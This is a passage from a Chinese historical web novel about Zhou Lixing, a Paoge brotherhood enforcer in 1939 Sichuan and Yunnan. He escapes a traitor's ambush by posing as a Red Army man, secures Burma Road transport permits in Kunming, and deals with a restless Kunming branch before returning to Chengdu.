他们猜到了周立行对梁承禄的怀疑和防备,猜到了夷寨可能不会全力支持,也衡量过许知武带来的一个排的战斗力该如何收拾,甚至设想过周立行真的勇武过人能从这里逃走,然而无论如何都没有想到事情会有这般突兀的转折!
“你是红汉?”头人走到周立行面前,眯着眼睛打量。
周立行心中飞快地转动,“咱们红军的队伍,讲三大纪律八项注意!”
那头人的眉头放松了几分。
周立行又背起了《中国苏维埃政府、中国共产党中央为抗日救国告全体同胞书》,那是他和黑老鸹第一次去重庆的时候,被进步学生塞的印刷品。
他过耳不忘的本领,再一次用了起来,当初方结义说过的那些事情,成了此刻他保住所有人姓名的机遇。
他还讲起了青神县的西山起义,讲起了方结义遇到过的川南游记纵队,讲起了林玉翠口中的延安。
头人冷不丁地问,“那你为什么在袍哥的堂口里?”
周立行平静地回答,“我是从成都过来的办事的,红汉里也有袍哥。头人,这个梁承禄,肯定是知道了我红汉的身份,才故意要杀我。”
梁承禄无论如何也想不到,这头人竟然对红汉那么信任和包容,他只能挣扎着喊道,“别信他!他撒谎!他就是勾结县秘收拾咱们,只铲咱们的烟苗……”
“我们是来铲堂口定的烟苗,拿回去交差的。别的,我们不会动。”
周立行立即跟话。
“给他们喂解药。”
头人点头,吩咐着,让人给周立行喂水。
“我知道大烟害人,不是好东西。不过,现在大家都种,我不能不种。”
头人似乎是信了周立行,他说话的时候,十分诚恳,“你是红汉,我跟你说实话。如果以后你们的队伍回来了,能让咱们所有人不种大烟,都能有饭吃,有衣穿,不受打冤家的威胁,我们会自己铲光所有的烟苗。”
周立行喝下解药,垂下的眼眸有涟漪晃动。
他进一步懂得了林人梅的意思。
禁烟,禁的不仅仅是大烟,禁的是贫困,禁的是动荡,禁的是利益驱使下的人心反复。
眼下内忧外患的国家,无论有多少能人志士,只要一日乱世不终结,这大烟,都禁不住。
周立行并不是红汉,但他此时,因红汉的身份绝境逢生,并受到了夷人们的尊重,所以,他也期盼着头人说的那一天。
“好,等我们来的时候,你们过上了好日子,我们一起把烟苗铲干净,一起过不愁吃穿的好日子。”
头人哈哈大笑起来,“好。那,你们这事?”
周立行和喘着粗气的许知武对视一眼,回答道,“我们自己解决。”
说完,头人让人搜了梁承禄等人身上的枪和武器交给周立行,把阿涅留下,便带着人走了。
阿涅这些日子受得苦涌上心头,二话不说竟是从周立行手里拿了一把枪,对着梁承禄便开。
周立行眼疾手快地拐了阿涅一肘子,这才没让梁承禄被打死,不过大腿上还是挨了一子弹。
许知武身喝下解药,但短时间也恢复不了,他眼角通红,额头上青筋迸出,深深地吸气:
“小兄弟,留手!我们要带回去审!”
梁承禄自知自己必死无疑,干脆把头一别,不说话。
周立行喝了解药之后,没过多久已经恢复了些力气。他面无表情,抽出匕首在火塘里烤了烤,贴心地为匕首消了毒,然后蹲在梁承禄旁边,也不说话,就那么直接划开梁承禄的皮肉,把子弹挑了出来。
“啊啊啊!!!!!!!!!!!”梁承禄的惨叫声几乎可以掀飞房瓦。
然后,周立行给梁承禄的伤口上泼上酒,在他的哭叫声中简单地包扎了伤口。
“梁堂主,你可以什么都不说,我也并不一定非得知道。”
“我是刑纲,我会让你求生不得,求死不能。”
“你会知道,活着受折磨,不如痛快的死。”
梁承禄被周立行话里的冷意吓得有些发抖,他常年走江湖,自然是知道许多让人毛发悚然的刑罚。
“……你能给我个痛快?”梁承禄还是开口了。
63.会理
周立行看着梁承禄,眸色冰凉,面容冷硬。
梁承禄闭了闭眼,妥协道,“一人做事一人当,不要牵扯我的妻儿……”
“你不需要说这次的事情,左右不过想杀了我们之后,你带着分堂脱离总堂,彻底投靠胡一雁而已。”
周立行没兴趣听背叛者的自我辩白,“你只需要告诉我,阿涅和石娃子为什么在这里,三刀凉她们去哪儿了?”
“我要是知道阿涅在这里,我就不会带你们来这里了……”
梁承禄也是无奈,他原本是打算等大家都晕了再悄悄咪咪地动手,保证万无一失。
哪知道阿涅的出现,让周立行警戒之后直接动手,一切超出了计划外。
“我确实向干亲的寨子透露了三刀凉她们的行踪,可是他们原本是答应我,只动三刀凉的……”
梁承禄真觉得倒霉透顶了,一切的一切,都是三刀凉惹出来的。
若不是三刀凉杀了他干兄弟,那边的家支也不至于来威胁梁承禄。
他以为对方知动三刀凉,哪知道,一步错步步错,他们劫走了紫苏一行人,把阿涅和石娃子一起给卖了。
然后他们以此威胁,让梁承禄上了胡一雁这一条船……
梁承禄是后悔的,但他若是重来一遍,在干亲家族的斥责和逼迫下,他还是会选择干亲家族,不会选择三刀凉这个疯婆子。
阿涅在一旁开口了,“哥,我们被另外一群人伏击了,有汉人,有夷人。他们还抢了一个商队的所有财物和人员。我们被分开卖了,我和石娃子卖到了隔壁村寨,然后又被头人给……带回了这里。”
在阿涅的讲述中,周立行等人得知了之前发生的事情。
三刀凉和阿涅等人走出去没几日,还没有完全离开会理的地界,便遭了一群人抢劫。
其实三刀凉也算机警了,知道一行有三个女人,都没有单独上路,而是跟着一个商队在走。紫苏擅长与人打交道,一路上那商队也挺关照他们几人。
然而,那劫匪是有备而来,人数众多,埋伏在高处的人备有枪支,远远地便打死了好几人,然后又是骑着滇马冲散了商队的镖师,最终把所有人都绑了带走,货物也全部被马驼走。
三刀凉因反抗的时候杀死了两个劫匪,被一枪打伤了腿,若她是个男人,此刻应该是直接被灭口了。但因为她是女人,还会说夷话,就算以后跛脚也能生孩子,所以被当成了重要财产。
紫苏、小杜鹃是一个是中年女人,一个是少女,她们被分开带走。
男人们也被分成了几只队伍,扒光衣服挨了一顿毒打后,再用粗糙的麻绳绑起来拉向不同的方向去卖掉。
阿涅和石娃子是被隔壁村寨买下的,那里的白夷们思想更传统,他们甚至出钱专门去凉山里请来一位孀居的老妇人供养,只为村寨里有尊贵的黑骨头。
同样,他们对待买来的娃子,用的也是传统的对待方式。鞭打,只给最简单的食物,不允许进房屋睡觉,从早到晚地干活。
“……隔壁寨子来这边打冤家,这边的曲诺们更勇猛,反过来把他们村寨给洗劫了一番,抢走了马匹粮食,还有我们这些娃子……”
阿涅想起来也是庆幸,这个村寨的头人有汉根,不排斥和汉人打交道,思想比较开明,不像隔壁村寨的,崇尚传统等级制度,完全不把呷西和娃子当人看。
虽然在两个村寨都是当娃子,但阿涅和石娃子在这边能吃饱,有衣穿,还能和呷西们一起挤着睡在屋子里,能活个人样。
“我们在滇西老家的寨子里,虽然也有头人和勇士,有种地的和打猎的,地位虽然有所不同,但大家都是族人……”
阿涅掀开石娃子的衣服,展示他身上的伤疤,短短几个月,石娃子身上多了许多鞭伤留下的疤痕。
周立行最后问了梁承禄一句,“齐高杰的死,跟你有没有关系?”
梁承禄不吭声。
周立行知道,肯定多少是有点关系的。
如果是这样,那梁承禄真的是毫无作用了,周立行抬手想给他一个痛快。
“小八爷手下留人!这个梁承禄,还是交给我们吧!”
许知武赶紧拦住,“我们有用,他跟胡一雁有勾结,胡一雁背后必定还有人。”
周立行目光灼灼,手指慢慢握紧,“死罪不可免。”
许知武点头,神色严肃,“放心,相信我。”
说完,他抬手开枪,将那之前动过手的两人当场打死,他的手下也死了一人,先报了这个仇再说。
第二日清晨,周立行先去找了头人。
他主动检查那个还在昏迷的曲诺。对方的骨头没事,但被击中穴位,得行针通血,不然以后寿命不长。
头人得知此事,更是敬重周立行的耿直,等周立行亲自为曲诺做完了针灸,他告诉周立行,可以答应周立行的一个要求,作为谢礼。
周立行正有此意,他开门见山道:
“阿涅是我的拜弟。他们一行还有几个人,也被抢了。”
头人大概猜到周立行想说什么,他委婉道:
“行善兄弟,我们夷人和汉人不一样。在县外,土司勉强能让各家支听他的话,是因为他有枪,有汉人官府的支持;再往山里走,到了纯夷人的地方,各家支的首领有各家支的地盘。”
“我们有亲家,有冤家,自己也是年年都在打,除了尊贵的黑骨头,白骨头也是能变成呷西和娃子的。”
“只要走出自己的地盘,我们自己也不安全,所以……”
周立行点头,放上去了一片金叶子,“我知道。我想请你们帮忙打听,我的姐姐们和侄女,被卖到了什么地方。有了消息,你告诉我,若是我不在,便告诉许知武。这是定金。”
“我愿意出三倍的价钱,赎回我的兄弟姐妹和侄女。两倍是给买家的,一份是给你们的。”
“我不需要你们救人,只需要你们,帮我买人而已。”
头人看了一眼金叶子,思索了一会儿,用一根手指头按住金叶子推回去,“定金,我不要这个。我要你,教我,你那个能戳断人背脊骨的功夫。”
周立行挑眉,“这个不是人人都能学的,我干爹说,得要筋骨好,还得有天分的。”
头人坚持,“我就要学这个。我当初看到过有袍哥用这个,我喜欢。”
“行。”周立行爽快答应。
于是周立行决定多待一日,把招式教了,还有那中药配方和锻炼方式也写了下来。
许知武回来得知,拍着大腿喊亏,直言周立行太大意了,这种独门密术便是百两黄金都不卖的,他竟然就这么轻易给了出去。
周立行听完,写了一份交给许知武,“给你,价值百两黄金的赠礼。我还有重要的事情要办,不能一直待在会理,你得帮我找人。”
许知武目瞪口呆,觉得周立行可惜了一副聪明长相,原来竟是个呆子。
只有周立行自己心里知道,他希望三刀凉和紫苏母女能有被找回的希望,也希望黑老鸹的技艺不要失传。
上次他被泥石流埋了,若是死在那个时候,这些什么功夫,谁还知道。
*
头人按照约定,让人带许知武他们去铲了梁承禄定的烟苗。
这一行人归去的时候,除了用骡子带上了铲下来的烟苗,还带上了死去的人。
为保安全,许知武在回去的途中,也向剩下的人说清楚了,周立行只是急中生智,才讲自己是红汉。
士兵们心领神会,个个表示遵令。
其他家族出来的剩下的人自然唯唯诺诺地表示知道了,但他们心里怎么想,没人能保证。他们回去之后会不会私下传话,也没人能保证。
许知武这只队伍,带着蔫儿吧啦的烟苗和尸体回了会理县城。
县长胡一雁着实没想到许知武等人还能回来,他皮笑肉不笑地带着一群人在县政府大门前接待队伍,假模假样地表扬了许知武,对丧生
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之人表示哀悼,然后关照一定要把梁承禄关押好,最后表示当晚要宴请这些外出的人,以及县里的士绅和袍哥派系。
林人梅站在胡一雁身边,他的视线和许知武交汇了一下,再看向周立行。
周立行微微点头,表示他马上会去找林人梅。
然而,林人梅却被胡一雁叫去开会,一直到傍晚都没有出现。
周立行等不到人,便先回了分堂。
原本的堂主齐高杰死了,纪纲三刀凉下落不明,代堂主梁承禄叛堂,这个堂口主事的只剩下一个管账的副堂主,平日里毫无存在感不说,此刻竟是卷了包裹跑了。
周立行着实气笑了,看来管账的副堂主跟梁承禄是一伙的了,不然不会跑的这么快。
但分堂现在,就是个烂摊子,他一时半会儿怕是还不能走,起码得选个主事的,或是让总堂派个人来才行。
眼看着夜色深沉,有人上门来请周立行去参加宴会,说是胡县长相邀。
周立行迟迟没有见到林人梅,心中有些不安。他先答应了来请的人,说自己换身衣服再来,那人答应着,却在堂口等着。
见那人要等,周立行不动声色地回了房间,并把谷娃子、石娃子、阿涅都喊了过来。
他们还没有来得及商议,听到外面有了一些声响,然后房门被猛地推开。
来人竟是林人梅,他穿着24军的军服,身上的披风带着露气,跟着几个士兵提着打包好的箱子,还抱着一叠军服。
“周立行,马上换装,然后立即离开会理!”林人梅难得语速那么快,他已经把军服扔到了周立行身上。
“出什么事了?”周立一边利落地换衣服,一边疑惑发问。
“你是红汉?”林人梅眯着眼睛打量周立行。
周立行心中咯噔一声,“不是……”
“你们这些共产党,也不会轻易暴露身份。我知道。”林人梅叹气,“不管你是不是,你在那么多人面前说过,你就会被当成是了。”
“胡一雁身边是中统的人,今晚是鸿门宴,你不能去,并且不能再留会理了。”
“拿我的推荐信,以你忠义堂方结义拜弟的身份,不管你是不是红汉,跟着刘军长,一定会有前途的。”
“立行,你一身本领,参军定有大作为。”
这种危急时刻,林人梅仍然努力挖墙角,想要邀周立行从军。
周立行三下五除二换好衣服,上手给阿涅帮忙,回答道,“方大哥不在,我放不下堂口。”
“堂口不会长久的。日寇必败,蒋中正的执政理念也好,共产党的天下大同也好,是容不下袍哥堂口的。”
林人梅惋惜,“你若是回成都,中统的人必定要追查而去的。”
“查就查,我不是。”周立行不知道中统是个什么玩意儿,可能就像是警察局一类的吧。
“方大哥出川抗日,他们不会轻易动忠义堂。”
“堂口在一日,我便守一日。并且,我有我的计划,林参谋,多谢!”
“这个分堂,我接管。三刀凉她们的下落,我会持续打听,你放心归去。我们互留印信,若有什么情况,我会托人去成都忠义堂找你。”
林人梅不再劝说,时间紧急,他们必须立即出城。
这边,林人梅带着分堂的几个和周立行等人身形相似的兄弟,往胡一雁的宴会地址出发;另一边,周立行等人换好了军服,跟着另外几个士兵去了城门。
等胡一雁和身边特务在宴席上没找到周立行等人的时候,周立行他们已经连夜出城离开了。
胡一雁并不担心,他身边的人猜得到周立行多半要跑,他们已经准备好了,从会理到康定也好,或是往成都方向走也好,都提前派人去埋伏着了。
然而,周立行并未曾往他们预料的方向走。
他直接从会理,去了云南。
他要去昆明,去找西南运输总处林玉道,他要给堂口谋一个更大的生路。
64.昆明
出了会理县城后,周立行等人立即换成了夷族服饰,转向去了云南。
一路上,周立行十分谨慎,时刻变换路线。好在他和阿涅都是大山的孩子,从不走大道,也不走陌生小路,一直都是跟着大路旁摸着前行,石娃子和谷娃子也跟得上,没有拖累。
因为他们行进方向和胡一雁那一伙人的方向完全相反,所以周立行等人没有遇到埋伏,也没有追兵,一路平安地到达了云南昆明西南运输总处。
行走江湖这些年,周立行深知先敬罗衣再敬人的道理,他没有贸然去寻找林玉道,而是先带着阿涅等人去找了旅馆,三人洗漱吃饱饭,外出购置了最新式的西装,打理了头发面容,才领着三个小弟去寻人。
西南运输总处是军事化机构,门口执勤的士兵见多了想到这里攀关系的人,都是拿鼻孔看人的,态度非常蛮横。
好在周立行穿上了西装,带着同样打扮整洁的小弟,举手投足间的江湖气足,还隐约有了大佬的气质,那士兵才没有轻视。
周立行自称是林玉道的表弟,来找他说一些家乡的消息。那士兵虽然不让周立行进去,却允许了他在外面不远处的石凳上等待,然后让人进去通传。
没过一会儿,林玉道竟然亲自出来,将周立行等人接了进去。
“立行兄弟,怎么突然到云南来了?”林玉道一进办公室,就立即关上门,煮上咖啡,端出了巧克力、饼干等进口零食。
周立行看着零食上的洋文,再观察林玉道一身的外国服饰,知道自己的推测没有错。
“林兄,我是斗胆前来,谈生意的。”
周立行没有绕弯子,他从跟林人梅打交道的过程中,察觉到跟聪明人打交道最好是直接了当。
林玉道一挑眉,“哦?讲讲?”
他一直想把周立行邀请进车队里来,当初挖墙角没有成功,如今周立行倒是讲起了合作,有意思。
“忠义堂承蒙刘愿平的牵线,为四川公路局在川滇线上做些事,以此谋生供养堂口兄弟,促成了舵把子方结义带队出川抗日的局面。”
周立行先夸赞了刘愿平,毕竟刘愿平的妻子是林玉翠是林玉道的堂妹,并且川滇线的运货十分挣钱,给堂口带来了持续的大额收益。
“然而战场凶险,出去的兄弟们死伤过半。军费是堂口自筹的,阵亡兄弟们的抚恤金也是堂口出的。这战乱时期,很多生意也不好做。”
“忠义堂要想维持律令纲纪,就得想办法开源。不然,他们也会迫于压力去贩大烟,开妓院,为了钱无所不用其极……”
林玉道接好咖啡端过来,给谷娃子、石娃子还有阿涅也递上一杯。
阿涅认识林玉道,难得一见地问了一声好。
林玉道随手从零食盘子里抓了一把糖递给阿涅,还比划了下高度,发现阿涅比从云南出去的时候长高了好多。
“好。”
“我想……啊?”周立行话还没有说完,被林玉道的回答给打断了。
林玉道竟然话都没听完,就这样答应了?周立行有些怔愣。
林玉道伸出了一只手,“我可以给你们五十个运输车辆的通行名额,让你们能参与滇缅公路的运输。”
“除了来回运输我们需要的物资,你们可以做些自己的生意,养活堂口。”
林玉道端着咖啡杯示意周立行喝一口,“支持你们,也是支持抗日。”
周立行端起咖啡,和林玉道碰杯。
“不过,我认的是你,忠义堂周行善。你在,这通行名额就在。忠义堂其他人,我可谁都不认。”
林玉道笑嘻嘻地补充,“你们得自备车辆,或者出钱来西南运输处租借、购买,司机也得你们自己出。”
他只认周行善,是因为周行善从头到尾参与了滇缅公路的修建,和他的堂妹夫刘愿平一起差点牺牲在这里。
他此时此刻有这个地位,有这个权利,而周行善也给了他足有的理由,他不介意帮一把周行善。
西南运输处是块香饽饽,但周立行身后是一个抗日的堂口,他们的加入,是可以增加车队力量的。这一波,算起来是周立行占便宜,但也不能说不是双赢。
周立行没想到昆明之旅会这么顺利,一切仿佛是冥冥之中注定的天意,他从云南回到四川,发现了堂口在风雨中飘摇不定,他的好勇斗狠只能暂时拉回堂口的方向,却无法掌控堂口的走向。
然而也正是如此,他以黑老鸹的宝片为理由,以退为进去了会理,又因此见识到了禁烟的艰难,颠颠转转回到云南,却因此找到了解决堂口财政危机的方向。
周立行是十分感谢林玉道的,他深知若不是有刘愿平这层关系,若不是忠义堂是抗日的堂口,这西南运输总处的大门,他们是无法叩开的。
于是周立行拿着总堂的印信去了昆明的分堂。
未曾想到,昆明的分堂已经搬了地方。
周立行等人一路问着,等找到分堂,才发现昆明分堂竟已发展的十分壮大,修建的新堂口比成都总堂更大,更洋气,几近奢华。
自从堂口开始做川滇线的生意,昆明的分堂发展那是一路向好。而自滇缅公路通车后,虽然昆明分堂没有直接参与运输,但也是能跟着分一杯羹,送些稀罕货品去成都卖的。
周立行估算着自己离开云南也才一年不到,看来昆明分堂是十分挣钱了。
这不,进出堂口的人皆是商旅摸样,不乏西装革履者,甚至有西洋人,迎来送往的人礼貌又客气。
完全看不出,这到底是堂口,还是商会。
带着总堂印信的周立行,立即得到昆明分堂的盛情款待。
分堂主沐求真一身洋派打扮,和气生财的笑容同陈三爷有几分相似,但他只有二十来岁,比陈三爷年轻多了,高个子偏瘦,肤色偏黑,不如陈三爷白白胖胖。
简单客套的寒暄后,周立行掏出十张滇缅公路运输证,放在了沐求真的面前。
“!!!”沐求真拿起一张证,掂在手里翻来覆去地看,双眼放光。
“八爷!你可真是太厉害了!”沐求真喜不自胜,差点没跳起来扛起周立行跳舞。
周立行环视堂口里的陈列,不同于成都总堂的座次分明的实木雕花桌椅,也不同于会理分堂颇有夷风的挂饰,昆明分堂里摆放的,竟然是真皮沙发套组,有留声机播放唱片,摆着没有开动的电风扇,甚至还有西南运输总处里的那种电话机。
这里既有滇红茶,也有咖啡豆,墙壁上多宝架里摆着的不是古董,而是各种洋酒。
“不如你们厉害。”周立行收回视线,“堂口那么多外出抗日的兄弟们,要靠你们挣钱养。”
沐求真一瞬间表情有些不自然,“哎,应该的……应该的……”
虽说周立行没有去查过总堂的账务,但若是昆明分堂这么挣钱,陈三爷为何又那么叫苦连天呢?
周立行直觉,这里有什么问题。
“西南运输总处,给了我五十个名额。”周立行决定,要让昆明分堂出大头。
沐求真看着手里的十张证,直勾勾地看向周立行,“五十个?哦,没问题,我们可以……”
“车辆要堂口自备,司机要堂口自己出。”周立行动了动手指头,“大型货车,还得在昆明这边好买。”
毕竟,此刻的国内,不产大型货车。
“我出来之前,代堂主陈三爷说,堂口的财务状况不好……”
沐求真大手一摆,满脸嫌弃,“嗨,他就是那样,眼光短浅,思维迂腐!他懂个屁的挣钱!除了开赌场开妓院开酒楼开大烟馆,他还会干啥?只会当个老辈子拿乔,锤子作用都没得!”
“若是这五十个名额都给我……”
周立行清了清嗓子,端起红茶喝。
沐求真十分懂得察言观色,他立即扭转表达,“……给我们总堂说,他们肯定会嫌买车太贵!滇缅公路,八爷你亲自跟着去修的,你知道这条路有多难跑,每天都有会车翻下悬崖,车祸率很高!耗损也是大的!”
“你回总堂说这件事,他们那些老辈子肯定还得叽叽歪歪,一时半会儿未必能定下来。”
“不如这样,你给我三十个名额,这些车辆我们分堂自己购置,人员也我们自己培养或者招募。”
“我们这边可以直接开始运作了,你那边回去,慢慢谈?”
周立行听沐求真这话,已经明白了很多意思。
看来,沐求真之前有很多建议,是被总堂的老辈子们叽歪过,拖延过。
而沐求真,显然是个善于抓住机会的生意人,他在这个遍地机遇遍地黄金的昆明,是决计不会让别人拉扯他的后腿的。
昆明分堂,本就是方结义为了好运货而设立的,这里的人从一开始,就是选的擅长经营的人才。
这些人瞧不起陈三爷,也说得通。
“好,三十个名额,给你。”周立行一口定音,“但是,你们得定额给总堂上交钱财。”
沐求真眯了眯眼,心中飞快地盘旋,分成的方式他们很好操作,定额的话……
周立行露出一个微笑,有些冷。
“好!定额多少?”沐求真一咬牙,应了,他眼馋这条线路很久了,现在前线大部分国土沦丧,国外的物资贸易都是走缅甸这边进来,他不能错失良机。
“我回总堂,会迅速给来一个数目。放心,不至于让你们不挣钱。”周立行也未曾一口说死,毕竟他还不清楚总堂账务的情况。
“毕竟,西南运输总处说了,只认我周立行。这证上,你看,都有我的名字。”
面对周立行隐晦的威慑,沐求真反而高兴极了,“要得!这样,剩下20辆车的定金我们分堂也出了,总堂只需要出尾款即可。”
这样……要是周立行回去搞不定总堂,他便可以把剩下20个名额一起要到手。
当晚,沐求真摆了宴席,将昆明分堂的骨干、运输队的司机们都邀请来,请周立行坐了主位。
这宴席是个自助式酒会。
周立行算是真正见识到了“千金之家比一都之君,巨万者乃与王者同乐”。
这昆明堂口的气派奢华是成都总堂也万不能及的,更是与会理堂口的穷潦形成天地反差。
谷娃子、石娃子、阿涅见琳琅满目的糕点面面相觑,直吞口水。
沐求真端起威士忌酒杯,站起来大声发话:
“各位同袍、各位挚友,我在此向大家隆重介绍忠义堂八爷——八爷,周行善。”
“大家都知道,舵把子方结义为我们疏通四川公路局——川滇线的局面。而周八爷!”
沐求真提高了嗓音,“八爷不仅参与了滇缅公路的修建,更是为我们带来了西南运输总处的五十个运输车辆的通行名额!”
掌声雷动,受邀而来的嘉宾们都意识到这是多大一杯羹,喜不自胜。
有些人甚至恨不得冲上主位结识周立行。
“这下川滇、滇缅我们都通了!”
“你看他,这么年轻有为。”
“听说他打金章,又禁烟打生死场嘞。”
“是啊,没想到成都那边方大哥之后也有少年英雄。”
“人也长得不赖,不晓得他有未婚配,我想把女儿嫁给他。”
“周八爷!我们都听你的。”
沐求真一一介绍堂口骨干成员。这位是本地某某公
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司的老板,这位是上海某某公司的科长,这位是南洋某某商会的公子……他们迫不及待纷纷抢着递上名片给周立行。
周立行从未遇过这般的交际场合,他谨慎地观察着每一个似是狂热的人,冷静地回应每一句恭维。
这昆明自古便是南丝路蜀身毒道的重要枢纽,也是下南洋的走陆路的必经之地。
自抗战爆发后,东南沿海港口悉数沦陷,国家与外界的联系更是全注于此。一时之间,货殖云集为全国之最。
这等圆滑的商人唯利是图,他们涌入昆明更懂得入乡随俗,在西南,他们加入堂口就多了庇护,多了门路。乃至利用堂口这种平台互相结识、传递信息。他们与堂口,他们之间,都各取所需。
那些人推杯换盏,你来我往,完全把这里当初商业交流会,许多人甚至自行谈起了生意。
一场宴会下来,宾主尽欢,大家都喝得二麻二麻。
周立行忍不住问道:“来了这么多同袍,都在关帝面前盟过誓吗?”
众人不知所谓,纷纷醉醺醺地回答:
“还没呢。”
“还要拜关帝吗?”
“怎么个流程?”
沐求真道:“嗨,来了就是兄弟,讲究那些过时的面上规矩作甚。”
周立行虽然没有甩脸色,但心情却不太好。
他跟着黑老鸹到的忠义堂,从跑堂到纪纲刑纲,对袍哥的规矩是十分敬重的。
沐求真毕竟才二十多岁,胸有城府,城府也不算太大,喝醉之后便有些话痨,他搭着周立行的肩膀,满脸通红地袒露真心。
“八爷啊,你别觉得我们昆明分堂不老实,我们也确实是看不上陈三爷他们!”
“你在成都打生死场的事情,我们分堂都晓得了!你,八爷,厉害!”
“整个总堂,只有你,周八爷,才有骨气!你给我们忠义堂争了脸面!”
“整个西南地区都知道,哎,你看过报纸没?咱们昆明,西南联大的那些个学生们办的报纸都写了,忠义堂乃是西南袍哥堂口的道德模范!袍哥为堂口禁烟敢开生死场!教授和官员们都夸赞呐!”
周立行也喝得有些醉,他听着沐求真的夸赞,回想起自己扛着忠义堂的旗子走过半个成都城,忍不住笑了起来。
“夸的太过了,咱们忠义堂,最厉害的,是方大哥……”
沐求真想了想,觉得周立行说的对,话题便转向了方结义。
“方舵把子抗日,那是多么的荣光!咱们兄弟死在战场上,那是马革裹尸!我们兄弟们在后方找钱,那可不是庸俗的找钱,是有志向的!”
“陈三爷他们干的啥?说他们是老辈子,十条十款守不巴适!说他们管理堂口,又跟不上时代的发展!”
“方舵把子给咱们找了川滇线的活路,当初连带着八爷你都出来学习当司机,带出了咱们第一批的司机队伍,咱们比以前起码翻几十倍的挣钱。不然,还靠着以前马驼人背的运货啊?”
“而你,八爷,你是拼着生死,跟着筑路队一起修建滇缅公路!”
“你还替咱们又找到了滇缅公路的活路,又能开辟新天地啊!”
“我一见你,就如同见着方舵把子一般!你这样的,才应该当咱们忠义堂的代堂主啊!”
周立行缓缓扭过头,看向胡言乱语的沐求真。
沐求真打着酒嗝,认真地拍着周立行的背,发誓一般地承诺,“八爷,他们喊你小八爷,那是不尊重你。我们昆明分堂不一样,我们是真的服你。”
“你若是要争舵把子的位置,我们昆明分堂上刀山下火海都站你!”
“若是你回分堂去,觉得对他们失望,那你就来昆明,我们脱离忠义堂,自立新堂口!”
周立行脑海中嗡嗡作响,他使劲摇了摇头,“方大哥还在外面,我可是八爷,刑纲,你这话日后不要再说,否则我打你红棍!”
听着要被打,沐求真赶紧放开周立行,摆着手,“我说错了,我说错了……嗨,我之前的确不想跟陈三爷混,这样,要是以后有什么玩意,你把忠义堂的牌子扛昆明来,我们把总堂设到这里呗……”
周立行不想再沐求真说胡话,去揪着喝醉了的阿涅回房休息了。
这一晚,周立行都在想,这昆明分堂已经被从未见过的资货财利控制了。
如果总堂口没了,昆明分堂摇身一变就能成某某商会。
要是真若沐求真说的那般情况,他就算是把忠义堂的牌子扛来,恐怕得排在某某商会的后面,成为某某商会的某某堂。
现在他们感念于方大哥的威信,以及自己给他们货真价实的好处,才显得那么顺服。
可一旦总堂式微,还不知有多少堂口像会理分堂那样背叛,有多少堂口像昆明分堂这样若即若离。
*
因得回了昆明,周立行再次询问阿涅,是否要回家乡。
阿涅跟着周立行一路,觉得袍哥江湖甚是有意思,便表示还是想跟周立行继续闯荡。
但周立行还是带着阿涅回去了一趟,为阿涅的寨子送去了许多礼物。
回程之路,周立行是按着当年邢五爷带他巡堂的路线倒着往成都走的。
他在会理分堂经历了梁成禄的暗害,又见识到了昆明分堂差点自立门户,对其他分堂心生忧虑。
这时候他才反应过来,似乎,这两年都没有过巡堂。
趁此机会总堂印信在手,周立行便利用返程的时间,做了一遍巡堂的事情。
他既是带着昆明分堂的商队,又拿着西南运输处的证,再加上自己当初打生死场一事名扬西南,这一番巡堂,如及时雨一般收拢了分堂的心。
65.成都
如此这般走了一番,周立行等人再次回到成都的时候,时间已经到了1939年5月中旬。
从高原走到平原,空气逐渐湿润温暖,原本不洗头不洗澡也觉得舒适的环境,变得爱出汗,浑身黏腻。
到离成都城几公里的时候,已是傍晚,天边的夕阳光如血般倾泻而下,成都城那边隐约传来了长长的警报。
周立行是带着昆明分堂的商队和各色西洋货品回去的,这行人立即停下,向周围的路人打听这是什么声音。
那扛着锄头的路人摇着头,“哎哟喂,这个声音啊,是空袭预演警报!”
“去年11月份呢时候啊,日本人的飞机就开始飞来飞去呢,有一次啊,往咱们郊区的凤凰山机场丢了一百多没炸弹,反正从那以后,时不时的就要拉哈警报撒,没得事,龟儿子的炸不到我们!”
商队的人面面相觑,他们商议一阵之后,觉得此时虽然天色已晚,就算大晚上的应该不会有什么飞机来飞,但还是在城外歇一晚。
*
时近六月,春末夏初,按理说成都城中应是一派悠闲繁华之相。
可周立行却觉得,此时的成都比往年萧瑟破败了许多。
也许是防空警报时不时的拉响,也许是战场僵持让一些人心生惧怕,也许是越来越多的男人们离开家乡走上前线。
总之,街道上依旧人来人往,茶馆里依旧人声鼎沸,氛围却和周立行印象中的成都迥异,他感觉此时城中的欢乐中隐约带着点末日放纵般的意味。
周立行和会理分堂的商队一起回的总堂,他提前让谷娃子和石娃子去堂口告知,于是等周立行和商队到忠义堂门口的时候,唐浩子已经带队在门口迎接了。
“路陡滩险,吉星高照。八爷,一路劳累,归堂平安。”
唐浩子对周立行行礼,眸光闪动,满脸钦佩。
唐浩子已经从较为机灵些的谷娃子那里知道了大概的事情,尤其是知道周立行在昆明干了件大好事,他本就没比周立行大几岁,都是年轻人,自然是明白货运的好处。
陈三爷他们如何与会理分堂闹出矛盾的,唐浩子不清楚,但他既擅长探听消息查案,自然能搞清楚。
现今,唐浩子已经想明白了,他之前的站错了人,现在,他得改正错误。
周立行见此次唐浩子的态度和之前截然不同,也未多说什么,回了礼后,用拳头轻轻碰了下唐浩子的肩膀,唐浩子之前差点插自己一刀的那个地方。
“天明地亮,百兽出林。六爷,你们也辛苦了。”
这一回的周立行,不再像之前那样心中有怨,他平和多了。
毕竟,忠义堂这群人至少还未像会理分堂那边一般,自相残杀。
*
当晚,忠义堂为迎接会理分堂的商队,开了宴席。
第二日,陈三爷召集了各位爷和骨干,开始商量滇缅公路运输队的事情。
周立行走的这大半年,陈三爷等人也是反反复复的商议过,到底堂口该如何发展。
大量精壮出川,时不时阵亡名单送回,大环境在恶化,其他堂口疯狂做起了烟土生意。
陈三爷想过开辟新的功业,可他想不到做什么,也没有那个门路去做什么。
他不是没去对政府官员逢迎送礼,而是,如今这个朝不保夕的世道,权贵们需要的不是逢迎,是有用。
一如此时周立行的荣耀而归,因为周立行对堂口有用,所以周立行能从会理分堂的凶险中全身而退,并能轻易地获得西南运输总处的认可,还能将若即若离的昆明堂口给拉回来。
他还自行巡堂,将那些几乎快要脱离掌控的分堂们,又给凝聚起来。
这么一想,陈三爷心里颇不是滋味,这显得他有些庸碌无能了。
堂会上,周立行先介绍了一下滇缅公路和西南运输总处,随后的情况,他不再自己开口,而是让昆明分堂的商队领队来讲。
若是换做以前,周立行肯定会自己细心解说。
但会理之行,他跟着林县秘学习了几个月,学到了一些驭人之道。
领头的人,有时候需要冲在前面,但有时候,需要立在后面。
会理的林县秘是老狐狸,昆明分堂的沐明真是只青年狐狸,他们所说所做,必然有道理。
